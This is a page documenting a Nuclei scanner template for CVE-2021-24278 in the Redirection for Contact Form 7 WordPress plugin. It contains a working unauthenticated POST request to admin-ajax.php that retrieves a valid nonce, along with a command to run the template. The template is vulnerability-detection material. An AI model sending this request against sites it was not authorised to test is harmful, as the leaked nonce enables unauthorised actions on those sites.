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WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation

ID: CVE-2021-24278

Severity: high

Author: 2rs3c

Tags: cve2021,cve,wordpress,wp-plugin,wpscan,querysol

Description

Section titled “Description”

WordPress Contact Form 7 before version 2.3.4 allows unauthenticated users to use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.

YAML Source

Section titled “YAML Source”
id: CVE-2021-24278


info:
  name: WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation
  author: 2rs3c
  severity: high
  description: WordPress Contact Form 7 before version 2.3.4 allows unauthenticated users to use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.
  impact: |
    Attackers can exploit this vulnerability to perform actions on behalf of authenticated users, leading to potential data breaches or unauthorized access.
  remediation: |
    Update WordPress Contact Form 7 plugin to version 2.3.4 or later to fix the Arbitrary Nonce Generation vulnerability.
  reference:
    - https://wpscan.com/vulnerability/99f30604-d62b-4e30-afcd-b482f8d66413
    - https://www.wordfence.com/blog/2021/04/severe-vulnerabilities-patched-in-redirection-for-contact-form-7-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24278
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24278
    cwe-id: CWE-863
    epss-score: 0.05157
    epss-percentile: 0.92966
    cpe: cpe:2.3:a:querysol:redirection_for_contact_form_7:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: querysol
    product: redirection_for_contact_form_7
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,wpscan,querysol


http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php"


    body: "action=wpcf7r_get_nonce&param=wp_rest"


    headers:
      Content-Type: application/x-www-form-urlencoded


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"success":true'
          - '"nonce":"[a-f0-9]+"'
        condition: and


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        regex:
          - '"nonce":"[a-f0-9]+"'
        part: body
# digest: 4b0a00483046022100ddeb3cab8e72e80ff0790797d9ac33afc42630b086fe06be4a4d41df4ccde683022100a9e9644bdc168722bbc5af71ef902b111ab1b4baf7e8af9ddb14e9aadf68f2bf:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24278.yaml"

View on Github